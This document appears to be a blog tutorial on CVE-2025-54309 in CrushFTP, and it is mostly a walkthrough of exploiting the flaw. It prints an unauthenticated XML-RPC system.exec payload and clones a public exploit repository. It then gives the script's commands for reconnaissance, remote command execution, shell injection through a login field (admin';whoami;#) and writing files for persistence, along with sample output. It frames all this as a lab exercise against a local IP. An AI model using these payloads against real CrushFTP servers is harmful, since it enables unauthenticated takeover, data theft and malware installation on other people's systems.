CrushFTP RCE Explained
What the new critical CrushFTP vulnerability is & how to exploit it.
The core of CVE-2025-54309 is a breakdown in security checks within CrushFTP's DMZ proxy. In a typical setup, the proxy is supposed to be a secure gateway, protecting the internal admin server from the public internet.
However, this vulnerability allows an attacker to send a specially crafted HTTP POST request to a specific admin endpoint, /WebInterface/function/
, without needing to log in. The server mistakenly processes this unauthenticated request, allowing the attacker to run commands directly on the underlying operating system.
The Attack Vector: XML-RPC
The primary method for exploiting this flaw involves XML-RPC (XML Remote Procedure Call). This is a protocol that uses XML to encode calls to functions on a remote server. In this case, the PoC script sends an XML payload to the server that says, "Please execute the system.exec
function with the following command as an argument."
Here is what the malicious XML payload looks like:
<?xml version="1.0"?>
<methodCall>
<methodName>system.exec</methodName>
<params>
<param><value><string>id</string></value></param>
</params>
</methodCall>
Because the server fails to check if the user is authenticated, it receives this message and dutifully executes the id
command, sending the output back to the attacker.
Why is this Critical? (CVSS 9.8)
A vulnerability like this receives a critical CVSS score for three main reasons:
- No Authentication Required: The attacker needs no username or password.
- Remote Access: It can be exploited from anywhere on the internet.
- Full Control: It grants Remote Command Execution (RCE), which is the highest level of compromise, allowing an attacker to steal data, install malware, or use the server to attack other systems.
Setting Up the Lab Environment
To follow along, you'll need Python and the PoC script.
Prerequisites
- Python 3.x
pip
(Python's package installer)
Step 1: Save the PoC Script
To get started, first download the PoC script from GitHub:
git clone https://github.com/issamjr/CVE-2025-54309-EXPLOIT.git
cd CVE-2025-54309-EXPLOIT
Then, install the requirements using pip:
pip install -r requirements.txt
Your environment is now ready.
Use the PoC Script
The script has two main modes: Reconnaissance and Exploitation. We'll walk through both. For all examples, assume your target is a local machine at 192.168.1.100
that you have set up for testing.
Step 1: Reconnaissance (Information Gathering)
Before attacking, a real-world adversary would gather information. The script's --recon
mode simulates this by scanning for common endpoints and trying to identify the server version.
Command:
python3 exploit.py 192.168.1.100 --recon
How it Works:
- Version Fingerprinting: The script first sends a GET request to
/WebInterface/info/
to look for a version number in the response body. This is a common technique for identifying software versions. - Endpoint Scanning: It then attempts to connect to a list of known CrushFTP endpoints (
/function/
,/login/
, etc.) to see which ones are accessible, reporting their HTTP status codes. This helps an attacker understand the target's configuration.
Step 2: Attacking the vulnerable systems
This is where we send the payloads to execute commands.
1. Default XML-RPC Attack
This is the primary method described earlier. We will tell the server to run the uname -a
command (which shows system information on Linux).
Command:
python3 exploit.py 192.168.1.100 -c "uname -a"
192.168.1.100
: Your target.-c "uname -a"
: The command to execute.
What Happens:
The script generates the XML-RPC payload with uname -a
inside the <string>
tag, sends it to https://192.168.1.100/WebInterface/function/
, and prints the server's response.
Expected Output:
[+] Payload delivered. Parsing output...
--- Command Output ---
Linux testsystem 5.15.0-88-generic #98-Ubuntu SMP ...
2. Alternative Payload: Command Injection (cmd_inject
)
Some vulnerabilities aren't in API endpoints but in web form fields, like a login page. This payload simulates that.
Command:
python3 exploit.py 192.168.1.100 -p cmd_inject -c "whoami"
-p cmd_inject
: Specifies the command injection payload type.
How it Works:
The script sends a POST request to the /WebInterface/login/
endpoint. Instead of a normal username, it sends admin';whoami;#
.
'
: Closes the username string in the server-side code.;
: Acts as a command separator in shell environments.whoami
: The new command to be executed.#
: Comments out the rest of the original command, preventing errors.
This classic technique tricks the server into running an extra command.
3. Alternative Payload: File Upload (file_upload
)
This simulates a scenario where an attacker can write a file to the server.
Command:
python3 exploit.py 192.168.1.100 -p file_upload --upload-file "/tmp/pwned.txt" --upload-data "System Compromised"
--upload-file
: The full path on the server where the file should be written.--upload-data
: The content to write into the file.
How it Works:
This uses a different XML-RPC call, file.write
, to ask the server to create a file with specific content. This demonstrates how a similar vulnerability could be used for persistence or to upload further malicious tools.
How the Code Works (A Deeper Dive)
Let's look at key functions in exploit.py
to understand its logic.
-
generate_payload()
: This is the heart of the script. It's a largeif/elif
block that builds the correct payload string or dictionary based on the user's choice (-p
). For the defaultxml
type, it uses an f-string to inject the user's command into the XML template. -
exploit()
: This function orchestrates the attack.- It defines a dictionary of target endpoints.
- It sets the appropriate
Content-Type
header (e.g.,application/xml
). - It calls
generate_payload()
to get the malicious data. - It uses
requests.post()
to send the payload to the target. - If the request is successful (HTTP 200), it calls
parse_output()
.
-
parse_output()
: After a command is executed, the output is often buried inside the server's response. This function uses regular expressions (re.search
) to find and extract the command output from the surrounding XML or JSON, making it easy to read.
Thank you for reading to the end!